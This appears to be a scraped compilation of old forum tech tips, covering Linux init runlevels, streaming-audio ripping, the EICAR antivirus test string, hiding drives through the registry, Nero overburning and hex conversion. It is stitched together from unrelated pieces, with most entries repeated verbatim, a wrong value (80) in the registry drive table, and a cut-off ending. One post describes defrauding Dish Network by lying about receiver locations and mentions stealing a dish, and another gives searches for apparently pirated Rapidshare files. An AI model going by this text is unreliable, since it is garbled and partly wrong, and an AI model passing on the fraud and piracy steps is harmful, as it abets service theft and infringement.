S10sysklogd start
S12kerneld start
S15netstd_init start
S18netbase start
...
S99sshd start
Notice the start argument in each command. The S in a command name means that the command should run in start mode, and the number (00 through 99) determines where in the sequence rc starts the command.
The rc*.d commands are usually shell scripts that start programs in /sbin or /usr/sbin. Normally, you can figure out what one of the commands actually does by looking at the script with less or another pager program.
You can start one of these services by hand. For example, if you want to start the httpd Web server program manually, run S99httpd start. Similarly, if you ever need to kill one of the services when the machine is on, you can run the command in the rc*.d directory with the stop argument (S99httpd stop, for instance).
Some rc*.d directories contain commands that start with K (for "kill," or stop mode). In this case, rc runs the command with the stop argument instead of start. You are most likely to encounter K commands in runlevels that shut the system down.
Adding and removing services
If you want to add, delete, or modify services in the rc*.d directories, you need to take a closer look at the files inside. A long listing reveals a structure like this:
lrwxrwxrwx . . . S10sysklogd -> ../init.d/sysklogd
lrwxrwxrwx . . . S12kerneld -> ../init.d/kerneld
lrwxrwxrwx . . . S15netstd_init -> ../init.d/netstd_init
lrwxrwxrwx . . . S18netbase -> ../init.d/netbase
...
The commands in an rc*.d directory are actually symbolic links to files in an init.d directory, usually in /etc or /etc/rc.d. Linux distributions contain these links so that they can use the same startup scripts for all runlevels. This convention is by no means a requirement, but it often makes organization a little easier.
To prevent one of the commands in the init.d directory from running in a particular runlevel, you might think of removing the symbolic link in the appropriate rc*.d directory. This does work, but if you make a mistake and ever need to put the link back in place, you might have trouble remembering the exact name of the link. Therefore, you shouldn't remove links in the rc*.d directories, but rather, add an underscore (_) to the beginning of the link name like this:
mv S99httpd _S99httpd
At boot time, rc ignores _S99httpd because it doesn't start with S or K. Furthermore, the original name is still obvious, and you have quick access to the command if you're in a pinch and need to start it by hand.
To add a service, you must create a script like the others in the init.d directory and then make a symbolic link in the correct rc*.d directory. The easiest way to write a script is to examine the scripts already in init.d, make a copy of one that you understand, and modify the copy.
When adding a service, make sure that you choose an appropriate place in the boot sequence to start the service. If the service starts too soon, it may not work, due to a dependency on some other service. For non-essential services, most systems administrators prefer numbers in the 90s, after most of the services that came with the system.
Linux distributions usually come with a command to enable and disable services in the rc*.d directories. For example, in Debian, the command is update-rc.d, and in Red Hat Linux, the command is chkconfig. Graphical user interfaces are also available. Using these programs helps keep the startup directories consistent and helps with upgrades.
HINT: One of the most common Linux installation problems is an improperly configured XFree86 server that flicks on and off, making the system unusable on console. To stop this behavior, boot into single-user mode and alter your runlevel or runlevel services. Look for something containing xdm, gdm, or kdm in your rc*.d directories, or your /etc/inittab.
Controlling init
Occasionally, you need to give init a little kick to tell it to switch runlevels, to re-read the inittab file, or just to shut down the system. Because init is always the first process on a system, its process ID is always 1.
You can control init with telinit. For example, if you want to switch to runlevel 3, use this command:
telinit 3
When switching runlevels, init tries to kill off any processes that aren't in the inittab file for the new runlevel. Therefore, you should be careful about changing runlevels.
When you need to add or remove respawning jobs or make any other change to the inittab file, you must tell init about the change and cause it to re-read the file. Some people use kill -HUP 1 to tell init to do this. This traditional method works on most versions of Unix, as long as you type it correctly. However, you can also run this telinit command:
telinit q
You can also use telinit s to switch to single-user mode.
Shutting down
init also controls how the system shuts down and reboots. The proper way to shut down a Linux machine is to use the shutdown command.
There are two basic ways to use shutdown. If you halt the system, it shuts the machine down and keeps it down. To make the machine halt immediately, use this command:
shutdown -h now
On most modern machines with reasonably recent versions of Linux, a halt cuts the power to the machine. You can also reboot the machine. For a reboot, use -r instead of -h.
The shutdown process takes several seconds. You should never reset or power off a machine during this stage.
In the preceding example, now is the time to shut down. This argument is mandatory, but there are many ways of specifying it. If you want the machine to go down sometime in the future, one way is to use +n, where n is the number of minutes shutdown should wait before doing its work. For other options, look at the shutdown(8) manual page.
To make the system reboot in 10 minutes, run this command:
shutdown -r +10
On Linux, shutdown notifies anyone logged on that the machine is going down, but it does little real work. If you specify a time other than now, shutdown creates a file called /etc/nologin. When this file is present, the system prohibits logins by anyone except the superuser.
When system shutdown time finally arrives, shutdown tells init to switch to runlevel 0 for a halt and runlevel 6 for a reboot. When init enters runlevel 0 or 6, all of the following takes place, which you can verify by looking at the scripts inside rc0.d and rc6.d:
1. init kills every process that it can (as it would when switching to any other runlevel).
# The initial rc0.d/rc6.d commands run, locking system files into place and making other preparations for shutdown.
# The next rc0.d/rc6.d commands unmount all filesystems other than the root.
# Further rc0.d/rc6.d commands remount the root filesystem read-only.
# Still more rc0.d/rc6.d commands write all buffered data out to the filesystem with the sync program.
# The final rc0.d/rc6.d commands tell the kernel to reboot or stop with the reboot, halt, or poweroff program.
The reboot and halt programs behave differently for each runlevel, potentially causing confusion. By default, these programs call shutdown with the -r or -h options, but if the system is already at the halt or reboot runlevel, the programs tell the kernel to shut itself off immediately. If you really want to shut your machine down in a hurry (disregarding any possible damage from a disorderly shutdown), use the -f option.
How Download MP3s from Fanscape.com or other Streaming Audio-Video
How Download MP3s from Fanscape.com or other Streaming Audio/Video Page
Part1
1- Download “CoCSoft Stream Down” here:
http://www.projectw.org/viewtopic.php?t=40095&highlight=cocsoft+stream
2- Go to Fanscape.com or other Streaming Audio/Video Page (like MTV or VH1) search
for your Artist or Band, and play your song, a pop up will appear, with a
windows player preview, then, right clic on this player, and clic on “properties”
3- Will appear a options,stay in “File” tag, go down to “Location” Select all the link address and copy
4- Go to “CoCSoft Stream Down” program, and clic on “ADD” icon, and paste the link address, that u copied on the page, choose your directory to download, and clic in Ok
5- Now, You are downloading the .ASF File
Part 2
1- When you finished of download the .ASF File, open River Past Audio Converter
Download here: http://www.projectw.org/viewtopic.php?t=24947&highlight=river+past
Note: To extract audio from ASF (Advanced Systems Format) files to MP3 with River Past Audio Converter, you should have DirectX 8.0 or above (9.0 highly recommended), and Windows Media Format 9 runtime installed.
2- Once River Past Audio Converter is installed properly, launch Audio Converter.
3- Add File
Click on the "Add" button on the tool bar. The standard file open dialog appears. Select "Windows Media Video" in its "Files of type" combo box.
Select the file you want to convert and click "Open". The file will be added to the conversion file list.
4- Select output format
Use the "Audio Format" setting panel on the bottom of the window to control the output format. Select "MP3" as the "File Type".
You can change the sample rate, channel (stereo or mono) and bitrate. Audio CD's native format is 44.1 kHz, stereo.
5- Select output directory
Expand the "Output Directory" panel. Use the button to select an output directory.
6- Convert!
Click the "Convert" button on the tool bar.
7- Enjoy!!!
Important Notes:
1- The First part, can be used for VIDEOS file, just try it, I do it icon_lol.gif
2- This Tutorial is not 100% perfect, just do it
3- The final Quality from your Mp3, will sound like streaming Audio, cuz we
extract it from a streaming File(maybe 20 or 32 kb/s).
4- If u think, that I'm in a mistake or I'm a fool, please tell me, I will to
learn
5- if u wanna add something, plz Do it, We gonna appreciate your
colaboration
Part1
1- Download “CoCSoft Stream Down” here:
http://www.projectw.org/viewtopic.php?t=40095&highlight=cocsoft+stream
2- Go to Fanscape.com or other Streaming Audio/Video Page (like MTV or VH1) search
for your Artist or Band, and play your song, a pop up will appear, with a
windows player preview, then, right clic on this player, and clic on “properties”
3- Will appear a options,stay in “File” tag, go down to “Location” Select all the link address and copy
4- Go to “CoCSoft Stream Down” program, and clic on “ADD” icon, and paste the link address, that u copied on the page, choose your directory to download, and clic in Ok
5- Now, You are downloading the .ASF File
Part 2
1- When you finished of download the .ASF File, open River Past Audio Converter
Download here: http://www.projectw.org/viewtopic.php?t=24947&highlight=river+past
Note: To extract audio from ASF (Advanced Systems Format) files to MP3 with River Past Audio Converter, you should have DirectX 8.0 or above (9.0 highly recommended), and Windows Media Format 9 runtime installed.
2- Once River Past Audio Converter is installed properly, launch Audio Converter.
3- Add File
Click on the "Add" button on the tool bar. The standard file open dialog appears. Select "Windows Media Video" in its "Files of type" combo box.
Select the file you want to convert and click "Open". The file will be added to the conversion file list.
4- Select output format
Use the "Audio Format" setting panel on the bottom of the window to control the output format. Select "MP3" as the "File Type".
You can change the sample rate, channel (stereo or mono) and bitrate. Audio CD's native format is 44.1 kHz, stereo.
5- Select output directory
Expand the "Output Directory" panel. Use the button to select an output directory.
6- Convert!
Click the "Convert" button on the tool bar.
7- Enjoy!!!
Important Notes:
1- The First part, can be used for VIDEOS file, just try it, I do it icon_lol.gif
2- This Tutorial is not 100% perfect, just do it
3- The final Quality from your Mp3, will sound like streaming Audio, cuz we
extract it from a streaming File(maybe 20 or 32 kb/s).
4- If u think, that I'm in a mistake or I'm a fool, please tell me, I will to
learn
5- if u wanna add something, plz Do it, We gonna appreciate your
colaboration
How Do U See Hidden Files, Using DOS..
Simple and useful tip
******************
at command prompt just type
dir /ah
if the list is too long u can use
dir /ah/p/w
*******************
******************
at command prompt just type
dir /ah
if the list is too long u can use
dir /ah/p/w
*******************
How do I Test My VirusScan Installation
How do I Test My VirusScan Installation? (Eicar)
Description
After installing VirusScan, you may logically wonder, how do I know if it's working? The answer is a test virus. The EICAR Standard AntiVirus Test File is a combined effort by anti-virus vendors throughout the world to implement one standard by which customers can verify their anti-virus installations.
Solution
To test your installation, copy the following line into its own file, then save the file with the name EICAR.COM. More detailed instructions are found below.
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
The file size will be 68 or 70 bytes.
If VirusScan is running and configured correctly, when you try to save the file, VirusScan will detect the virus. If VirusScan is not running, start it and scan the directory that contains EICAR.COM. When your software scans this file, it will report finding the EICAR test file.
Note that this file is NOT A VIRUS. Delete the file when you have finished testing your installation to avoid alarming unsuspecting
users.
The eicar test virus is available for download from the following website:
http://www.eicar.org/download/eicar.com
Creating Eicar.com
1. Click on Start.
2. Select Run.
3. In the Open box type: notepad
4. Maximize the window.
5. Highlight the following on the following line of text:
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
6. Right click on the highlighted text and choose 'copy'.
7. Switch back to Notepad.
8. Right click anywhere inside of Notepad and select 'paste'.
9. Click the File menu and select 'save as'.
10. Change the 'Save as Type' to 'all files'.
11. Name the file eicar.com.
Description
After installing VirusScan, you may logically wonder, how do I know if it's working? The answer is a test virus. The EICAR Standard AntiVirus Test File is a combined effort by anti-virus vendors throughout the world to implement one standard by which customers can verify their anti-virus installations.
Solution
To test your installation, copy the following line into its own file, then save the file with the name EICAR.COM. More detailed instructions are found below.
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
The file size will be 68 or 70 bytes.
If VirusScan is running and configured correctly, when you try to save the file, VirusScan will detect the virus. If VirusScan is not running, start it and scan the directory that contains EICAR.COM. When your software scans this file, it will report finding the EICAR test file.
Note that this file is NOT A VIRUS. Delete the file when you have finished testing your installation to avoid alarming unsuspecting
users.
The eicar test virus is available for download from the following website:
http://www.eicar.org/download/eicar.com
Creating Eicar.com
1. Click on Start.
2. Select Run.
3. In the Open box type: notepad
4. Maximize the window.
5. Highlight the following on the following line of text:
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
6. Right click on the highlighted text and choose 'copy'.
7. Switch back to Notepad.
8. Right click anywhere inside of Notepad and select 'paste'.
9. Click the File menu and select 'save as'.
10. Change the 'Save as Type' to 'all files'.
11. Name the file eicar.com.
How do I remove an extra operating system from by
If you have more then one operating system installed or wish
to remove an operating system from the boot menu, you can use the following information.
1.Click on Start, Control Panel, System, Advanced.
2.Under Startup and Recovery, click Settings.
3.Under Default Operating System, choose one of the following:
"Microsoft Windows XP Professional /fastdetect"
-or-
"Microsoft Windows XP Home /fasdetect"
-or-
"Microsoft Windows 2000 Professional /fastdetect"
4.Take the checkmark out of the box for "Time to display a list of Operating Systems".
5.Click Apply and Ok, and reboot the system.
*If you wish to edit the boot.ini file manually, click on the button "EDIT"
to remove an operating system from the boot menu, you can use the following information.
1.Click on Start, Control Panel, System, Advanced.
2.Under Startup and Recovery, click Settings.
3.Under Default Operating System, choose one of the following:
"Microsoft Windows XP Professional /fastdetect"
-or-
"Microsoft Windows XP Home /fasdetect"
-or-
"Microsoft Windows 2000 Professional /fastdetect"
4.Take the checkmark out of the box for "Time to display a list of Operating Systems".
5.Click Apply and Ok, and reboot the system.
*If you wish to edit the boot.ini file manually, click on the button "EDIT"
How do I overburn a CD with Nero
How do I overburn a CD with Nero?
Start Nero
From the action-bar select File and select Preferences.
In the Preferences window, select Expert Features(1) and check the Enable overburn disc-at-once(2).
Choose a Maximum CD Length(3) and click OK(4) (*82:59:59 is the maximum value I suggest, but as you can see from the screen capture above I have set mine significantly higher. The reason is because I frequently use 99min 850 MB CD media).
For a more accurate test you can use a nero tool called nero speed test to see how much a specific CD is capable of being overburned . get it here
From the action-bar select File and select Write CD.
A window will appear when you have exceeded expected length, click OK to start the overburn copy.
Remember to set disk to burn Disc at Once, you cannot overburn in Track at Once Mode.
Start Nero
From the action-bar select File and select Preferences.
In the Preferences window, select Expert Features(1) and check the Enable overburn disc-at-once(2).
Choose a Maximum CD Length(3) and click OK(4) (*82:59:59 is the maximum value I suggest, but as you can see from the screen capture above I have set mine significantly higher. The reason is because I frequently use 99min 850 MB CD media).
For a more accurate test you can use a nero tool called nero speed test to see how much a specific CD is capable of being overburned . get it here
From the action-bar select File and select Write CD.
A window will appear when you have exceeded expected length, click OK to start the overburn copy.
Remember to set disk to burn Disc at Once, you cannot overburn in Track at Once Mode.
How 2 Find EVERYTHING uploaded on Rapidshare
How 2 Find EVERYTHING uploaded on Rapidshare
All rapidshare.de Downloads:
/http://www.google.com/search?hl=en&lr=&as_qdr=all&q=+.*+site%3Arapidshare.de
Apps Rapidshare.de Downloads:
/http://www.google.com/search?hl=en&lr=&as_qdr=all&q=.cab+OR+.exe+OR+.rar+OR+.zip+site%3Arapidshare.de&btnG=Search
Movies rapidshare.de Downloads:
/http://www.google.com/search?hl=en&lr=&as_qdr=all&q=+.Avi+OR+.mpg+OR+.mpeg+site%3Arapidshare.de&btnG=Search
All rapidshare.de Downloads:
/http://www.google.com/search?hl=en&lr=&as_qdr=all&q=+.*+site%3Arapidshare.de
Apps Rapidshare.de Downloads:
/http://www.google.com/search?hl=en&lr=&as_qdr=all&q=.cab+OR+.exe+OR+.rar+OR+.zip+site%3Arapidshare.de&btnG=Search
Movies rapidshare.de Downloads:
/http://www.google.com/search?hl=en&lr=&as_qdr=all&q=+.Avi+OR+.mpg+OR+.mpeg+site%3Arapidshare.de&btnG=Search
Hide Drives and Partitions
Hide Drives and Partitions
Do you have data on a partition or hard drive that you don't want tampered with or easily accessible to other users? Well, you can hide any drive/partition in Windows XP, NT, and 2000. That means that they won't show up in Explorer or My Computer.
If you want access to that drive from your user account you should create a desktop shortcut before proceeding. Once hidden, you can still access by typing the drive letter and a colon in Start/Run—for example, "D:" will bring up a folder of the contents on your D drive.
The easiest way with Win XP is to use the TweakUI power toy from Mcft. Go to Start/Run and type in "tweakui" (without the quotes).
Go to My Computer/Drives and uncheck the drive/partition(s) you want hidden. Click "Apply" or "OK" when finished.
If you have XP but not Tweak UI you can download it here...
http://www.Mcft.com/windowsxp/downloads/powertoys/xppowertoys.mspx
For Win NT, 2000, and XP you can use the following Registry edit:
*Be sure to back up the Registry before proceeding
http://www.worldstart.com/tips/tips.php/401
Open the Registry Editor by going to Start/Run and typing in "regedit" (without the quotes). Find your way to...
HKEY_CURRENT_USER\Software\Mcft\Windows\CurrentVersion\Policies
Click on "Explorer".
Double-click the "NoDrives" key in the right column. If you don't find a "NoDrives" registry key, just right-click in the right pane and choose "New/DWORD Value" then name the key "NoDrives".
You'll see a value like "0000 00 00 00 00". This is where the fun starts. The four sets of double zeros (after the "0000") are where you'll enter the values for the drive/partitions. Now, stay with me on this—it's not as complicated as it sounds:
The first column is for drives A-H, the second for I-P, the third for Q-X, and the fourth for Y-Z.
The values for each drive are as follows:
1 - A I Q Y
2 - B J R Z
4 - C K S
8 - D L T
16 - E M U
32 - F N V
64 - G O W
80 - H P X
So, let's say you want to hide drive D. In the first column you would put "08". For drive K you would put "04" in the second column.
But what if you want to hide more than one drive in a column? Simply add the values together: D+E = 8+16 = 24. So in the first column you would put "24".
Still baffled? If you have XP then go get TweakUI and save yourself the math.
Whichever method you use, you can rest easy knowing that the files on that drive or partition are less accessible to other users.
Do you have data on a partition or hard drive that you don't want tampered with or easily accessible to other users? Well, you can hide any drive/partition in Windows XP, NT, and 2000. That means that they won't show up in Explorer or My Computer.
If you want access to that drive from your user account you should create a desktop shortcut before proceeding. Once hidden, you can still access by typing the drive letter and a colon in Start/Run—for example, "D:" will bring up a folder of the contents on your D drive.
The easiest way with Win XP is to use the TweakUI power toy from Mcft. Go to Start/Run and type in "tweakui" (without the quotes).
Go to My Computer/Drives and uncheck the drive/partition(s) you want hidden. Click "Apply" or "OK" when finished.
If you have XP but not Tweak UI you can download it here...
http://www.Mcft.com/windowsxp/downloads/powertoys/xppowertoys.mspx
For Win NT, 2000, and XP you can use the following Registry edit:
*Be sure to back up the Registry before proceeding
http://www.worldstart.com/tips/tips.php/401
Open the Registry Editor by going to Start/Run and typing in "regedit" (without the quotes). Find your way to...
HKEY_CURRENT_USER\Software\Mcft\Windows\CurrentVersion\Policies
Click on "Explorer".
Double-click the "NoDrives" key in the right column. If you don't find a "NoDrives" registry key, just right-click in the right pane and choose "New/DWORD Value" then name the key "NoDrives".
You'll see a value like "0000 00 00 00 00". This is where the fun starts. The four sets of double zeros (after the "0000") are where you'll enter the values for the drive/partitions. Now, stay with me on this—it's not as complicated as it sounds:
The first column is for drives A-H, the second for I-P, the third for Q-X, and the fourth for Y-Z.
The values for each drive are as follows:
1 - A I Q Y
2 - B J R Z
4 - C K S
8 - D L T
16 - E M U
32 - F N V
64 - G O W
80 - H P X
So, let's say you want to hide drive D. In the first column you would put "08". For drive K you would put "04" in the second column.
But what if you want to hide more than one drive in a column? Simply add the values together: D+E = 8+16 = 24. So in the first column you would put "24".
Still baffled? If you have XP then go get TweakUI and save yourself the math.
Whichever method you use, you can rest easy knowing that the files on that drive or partition are less accessible to other users.
Hex, How to turn binary or decimal to hex
First go to http://www.shareordie.com/forum/index.php?showtopic=3269 to learn binary.
OK, 1,453,752 is 101100010111010111000 is binary, now we turn it into a Hex number.
First Hex numbers goes like this:
1=1
2=2
.
.
9=9
10=A
11=B
12=C
13=D
14=E
15=F
Now you need to take the first octet (the far right 4) and place it under this little grid:
8 4 2 1
--------
1 0 0 0 = 8
See the 1 under the 8 column?
That is what you add.
So the next octet is 1011, put it under the grid:
8 4 2 1
--------
1 0 0 0 = 8
1 0 1 1 = B
See 8+2+1=11, so you can't just say 11 you have to put it in a Hex number, which is B.
So the full Hex number of 1,453,752 is:
8 4 2 1
--------
1 0 0 0 = 8
1 0 1 1 = B
1 1 1 0 = E
0 0 1 0 = 2
0 1 1 0 = 6
0 0 0 1 = 1 <-- Just add zero if it isn't a full octet
162EB8
So if you want to turn a number in to the shorter version of Hex, just turn it into binary, then use this grid and you'll do fine
P.S. Thanks Korrupt for the number to work with
OK, 1,453,752 is 101100010111010111000 is binary, now we turn it into a Hex number.
First Hex numbers goes like this:
1=1
2=2
.
.
9=9
10=A
11=B
12=C
13=D
14=E
15=F
Now you need to take the first octet (the far right 4) and place it under this little grid:
8 4 2 1
--------
1 0 0 0 = 8
See the 1 under the 8 column?
That is what you add.
So the next octet is 1011, put it under the grid:
8 4 2 1
--------
1 0 0 0 = 8
1 0 1 1 = B
See 8+2+1=11, so you can't just say 11 you have to put it in a Hex number, which is B.
So the full Hex number of 1,453,752 is:
8 4 2 1
--------
1 0 0 0 = 8
1 0 1 1 = B
1 1 1 0 = E
0 0 1 0 = 2
0 1 1 0 = 6
0 0 0 1 = 1 <-- Just add zero if it isn't a full octet
162EB8
So if you want to turn a number in to the shorter version of Hex, just turn it into binary, then use this grid and you'll do fine
P.S. Thanks Korrupt for the number to work with
have satallite tv for almost free IF not free!!!
have satallite tv for almost free IF not free!!!
this is a tut by me that i use at home to get all the channels "not including ppv" for almost free if not free... i have every single channel that dish network offers and i dont pay a single dollar..... ok this is how it goes...
-----------------------------------
Get a dish 500 no matter how… “buy /steal”
Sign up with dish network for like “top 100” that will give you like 100 channels… it would cost you like 29.99 or 39.99 not sure…
Then you need to find 3 friends… or parent friends that are interested in having satellite TV….
Dish network allows you to have up to 4 receivers in one house with no prob.
So the next day, or when ever you find a person or 3 of them… call the dish company and tell them that you would like to activate your 2nd receiver and would like to add some additional channels… for that you would need “receiver # and smart card # of that new receiver that is at your friends house” so you give them the info and they hook the second receiver up… just don’t tell them that the receiver is not in the house…
They will hook up to 3 more receivers per account and when you get all 4 receivers you can get all channels on them and just split your bill between the other 3 people that are using your subscription…
For me it works perfectly… I live in Oregon and I have a receiver in my friends’ house in Washington and two in California USA.
I don’t know if this thing would work anywhere else but it sure works for me
this is a tut by me that i use at home to get all the channels "not including ppv" for almost free if not free... i have every single channel that dish network offers and i dont pay a single dollar..... ok this is how it goes...
-----------------------------------
Get a dish 500 no matter how… “buy /steal”
Sign up with dish network for like “top 100” that will give you like 100 channels… it would cost you like 29.99 or 39.99 not sure…
Then you need to find 3 friends… or parent friends that are interested in having satellite TV….
Dish network allows you to have up to 4 receivers in one house with no prob.
So the next day, or when ever you find a person or 3 of them… call the dish company and tell them that you would like to activate your 2nd receiver and would like to add some additional channels… for that you would need “receiver # and smart card # of that new receiver that is at your friends house” so you give them the info and they hook the second receiver up… just don’t tell them that the receiver is not in the house…
They will hook up to 3 more receivers per account and when you get all 4 receivers you can get all channels on them and just split your bill between the other 3 people that are using your subscription…
For me it works perfectly… I live in Oregon and I have a receiver in my friends’ house in Washington and two in California USA.
I don’t know if this thing would work anywhere else but it sure works for me
Have Notepad In Send To
Have Notepad In Send To
Many apply a registry tweak to have notepad as an option for unknown file types. We frequently see such files which are actually just text, but named with some odd file-extension. And then, some suspicious files which we want to make sure what the contents are. Well, in such cases where the registry tweak is applied, the downside happens to be that even some known files get associated with notepad - but no, all we want is to be able to open a file with notepad - the association part in such cases is unwanted interference. Also, notepad becomes a permanent fixture on the right-click menu - which is again an annoyance.
So what we do, is to have notepad as an option in the Send-To options, of the right-click menu in explorer. It fulfils the purpose to perfection (atleast, in my case). Here's what we do:
1. right-click desktop, choose "New >> Shortcut"
2. Type the location of the item - "notepad" - (that's all, no need to give path)
3. Next >> type name for shortcut - "Edit with Notepad"
4. Click finish
5. Now right-click this shortcut on the desktop, and choose properties.
6. Confirm that the "target" and "start in" fields are using variables - "%windir%\system32\notepad.exe" - (absolute paths will be problematic if you use this .LNK on machines other than your own)
7. Now, browse to "%UserProfile%\SendTo" in explorer (which means "C:\Documents and Settings\User_Name\SendTo\" folder)
8. And copy the "Edit with Notepad.lnk" file which you already created, to that folder.
9. So now, you can right-click on ANY file-type, and be offered an option to open with notepad, from the SendTo sub-menu.
So now, you just right-click on an .nfo or .eml or .diz file (which are associated with other programs, and are sometimes just plain-text files), and choose "Send To >> Edit with Notepad" and it will open in notepad!
No more botheration of applying registry tweaks for something as simple as this.
Many apply a registry tweak to have notepad as an option for unknown file types. We frequently see such files which are actually just text, but named with some odd file-extension. And then, some suspicious files which we want to make sure what the contents are. Well, in such cases where the registry tweak is applied, the downside happens to be that even some known files get associated with notepad - but no, all we want is to be able to open a file with notepad - the association part in such cases is unwanted interference. Also, notepad becomes a permanent fixture on the right-click menu - which is again an annoyance.
So what we do, is to have notepad as an option in the Send-To options, of the right-click menu in explorer. It fulfils the purpose to perfection (atleast, in my case). Here's what we do:
1. right-click desktop, choose "New >> Shortcut"
2. Type the location of the item - "notepad" - (that's all, no need to give path)
3. Next >> type name for shortcut - "Edit with Notepad"
4. Click finish
5. Now right-click this shortcut on the desktop, and choose properties.
6. Confirm that the "target" and "start in" fields are using variables - "%windir%\system32\notepad.exe" - (absolute paths will be problematic if you use this .LNK on machines other than your own)
7. Now, browse to "%UserProfile%\SendTo" in explorer (which means "C:\Documents and Settings\User_Name\SendTo\" folder)
8. And copy the "Edit with Notepad.lnk" file which you already created, to that folder.
9. So now, you can right-click on ANY file-type, and be offered an option to open with notepad, from the SendTo sub-menu.
So now, you just right-click on an .nfo or .eml or .diz file (which are associated with other programs, and are sometimes just plain-text files), and choose "Send To >> Edit with Notepad" and it will open in notepad!
No more botheration of applying registry tweaks for something as simple as this.
Hardware Firewall
The best firewall is a hardware firewall that is completely separate from your operating system. It need not be a dedicated router, could be an old pentium box running Linux. Below I have found some sites that have How To's on setting up an outside hardware router using an old computer and using a little linux program that fits on a single floppy disk.
Brief Description:
floppyfw is a router with the advanced firewall-capabilities in Linux that fits on one single floppy disc.
Features:
Access lists, IP-masquerading (Network Address Translation), connection tracked packet filtering and (quite) advanced routing. Package for traffic shaping is also available.
Requires only a 386sx or better with two network interface cards, a 1.44MB floppy drive and 12MByte of RAM ( for less than 12M and no FPU, use the 1.0 series, which will stay maintained. )
Very simple packaging system. Is used for editors, PPP, VPN, traffic shaping and whatever comes up. (now this is looking even more like LRP (may it rest in peace) but floppyfw is not a fork.)
Logging through klogd/syslogd, both local and remote.
Serial support for console over serial port.
DHCP server and DNS cache for internal networks.
floppyfw
h#tp://www.zelow.no/floppyfw/
Sentry Firewall CD-ROM is a Linux-based bootable CDROM suitable for use as an inexpensive and easy to maintain firewall, server, or IDS(Intrusion Detection System) Node. The system is designed to be immediately configurable for a variety of different operating environments via a configuration file located on a floppy disk, a local hard drive, and/or a network via HTTP(S), FTP, SFTP, or SCP.
The Sentry Firewall CD is a complete Linux system that runs off of an initial ramdisk, much like a floppy-based system, and a CD. The default kernel is a current 2.4.x series kernel with various Netfilter patches applied. An OpenWall-patched current 2.2.x kernel is also available on the CD.
Booting from the CDROM is a fairly familiar process. The BIOS execs the bootloader(Syslinux) - which then displays a bootprompt and loads the kernel and ramdisk into memory. Once the kernel is running, the ramdisk is then mounted as root(/). At this point our configuration scripts are run(written in perl) that configure the rest of the system. It is the job of these configure scripts to put the various startup and system files into the proper location using either what is declared in the configuration file(sentry.conf) or the system defaults located in the /etc/default directory.
Most of the critical files used at boot time can be replaced with your own copy when declared in the configuration file. This is essentially how we allow the user to configure the system using his/her own configuration and init files.
All of the binaries, files, scripts, etc, used to create the CD-ROM are also available on the CD-ROM. So, with a little practice, you can easily build and customize your own bootable Sentry Firewall CD. Please see the HOWTO for more details.
Sentry Firewall
ht*p://www.sentryfirewall.com/docs.html#overview
Brief Description:
floppyfw is a router with the advanced firewall-capabilities in Linux that fits on one single floppy disc.
Features:
Access lists, IP-masquerading (Network Address Translation), connection tracked packet filtering and (quite) advanced routing. Package for traffic shaping is also available.
Requires only a 386sx or better with two network interface cards, a 1.44MB floppy drive and 12MByte of RAM ( for less than 12M and no FPU, use the 1.0 series, which will stay maintained. )
Very simple packaging system. Is used for editors, PPP, VPN, traffic shaping and whatever comes up. (now this is looking even more like LRP (may it rest in peace) but floppyfw is not a fork.)
Logging through klogd/syslogd, both local and remote.
Serial support for console over serial port.
DHCP server and DNS cache for internal networks.
floppyfw
h#tp://www.zelow.no/floppyfw/
Sentry Firewall CD-ROM is a Linux-based bootable CDROM suitable for use as an inexpensive and easy to maintain firewall, server, or IDS(Intrusion Detection System) Node. The system is designed to be immediately configurable for a variety of different operating environments via a configuration file located on a floppy disk, a local hard drive, and/or a network via HTTP(S), FTP, SFTP, or SCP.
The Sentry Firewall CD is a complete Linux system that runs off of an initial ramdisk, much like a floppy-based system, and a CD. The default kernel is a current 2.4.x series kernel with various Netfilter patches applied. An OpenWall-patched current 2.2.x kernel is also available on the CD.
Booting from the CDROM is a fairly familiar process. The BIOS execs the bootloader(Syslinux) - which then displays a bootprompt and loads the kernel and ramdisk into memory. Once the kernel is running, the ramdisk is then mounted as root(/). At this point our configuration scripts are run(written in perl) that configure the rest of the system. It is the job of these configure scripts to put the various startup and system files into the proper location using either what is declared in the configuration file(sentry.conf) or the system defaults located in the /etc/default directory.
Most of the critical files used at boot time can be replaced with your own copy when declared in the configuration file. This is essentially how we allow the user to configure the system using his/her own configuration and init files.
All of the binaries, files, scripts, etc, used to create the CD-ROM are also available on the CD-ROM. So, with a little practice, you can easily build and customize your own bootable Sentry Firewall CD. Please see the HOWTO for more details.
Sentry Firewall
ht*p://www.sentryfirewall.com/docs.html#overview
Hard drive Gone Bad
Hard drive gone bad
The most common problems originate
from corruption of the master boot record, FAT, or directory.
Those are soft problems which can usually be taken care of
with a combination of tools like Fdisk /mbr to refresh the
master boot record followed by a reboot and Norton disk doctor
or Spinneret.
The most common hardware problems are a bad controller, a bad
drive motor, or a bad head mechanism.
1. Can the BIOS see and identify the hard drive correctly? If
it can't, then the hard drives onboard controller is bad.
2. Does the drive spin and maintain a constant velocity? If it
does, that's good news. The motor is functioning.
3. If the drive surges and dies, the most likely cause is a
bad controller (assuming the drive is cool). A gate allowing
the current to drive the motor may not be staying open. The
drive needs a new controller.
4. Do you hear a lot of head clatter when the machine is
turned on and initialized (but before the system attempts to
access the hard drive). Head clatter would indicate that the
spindle bearings are sloppy or worn badly. Maybe even lose and
flopping around inside.
5. There is always the possibility that the controller you are
using in the machine has gone south.
1. If the drive spins, try booting to the A> prompt, run Fdisk
and check to see if Fdisk can see a partition on the hard
drive. If Fdisk can see the partition, that means that it can
access the drive and that the controller electronics are
functioning correctly. If there is no head clatter, it may be
just a matter of disk corruption which commonly occurs when a
surge hits you machine and overwhelms the power supply voltage
regulator. It commonly over whelms the system electronics
allowing an EM pulse to wipe out the master boot record, file
allocations table, and primary directory. Fdisk can fix the
master boot record and Norton Disk Doctor can restore the FAT
and Directory from the secondaries.
2. The drive spins but Fdisk can't see it. Try the drive in
another system and repeat the test to confirm that Fdisk can't
read through the drives onboard controller. If it sees it in
another system, then your machines hard drive interface is
bad. You can try an upgraded or replacement controller card
like a Promise or CMD Technologies (there are others) in you
machine after disabling the integrated controller in the BIOS,
but if the integrated controller went south, it may just be
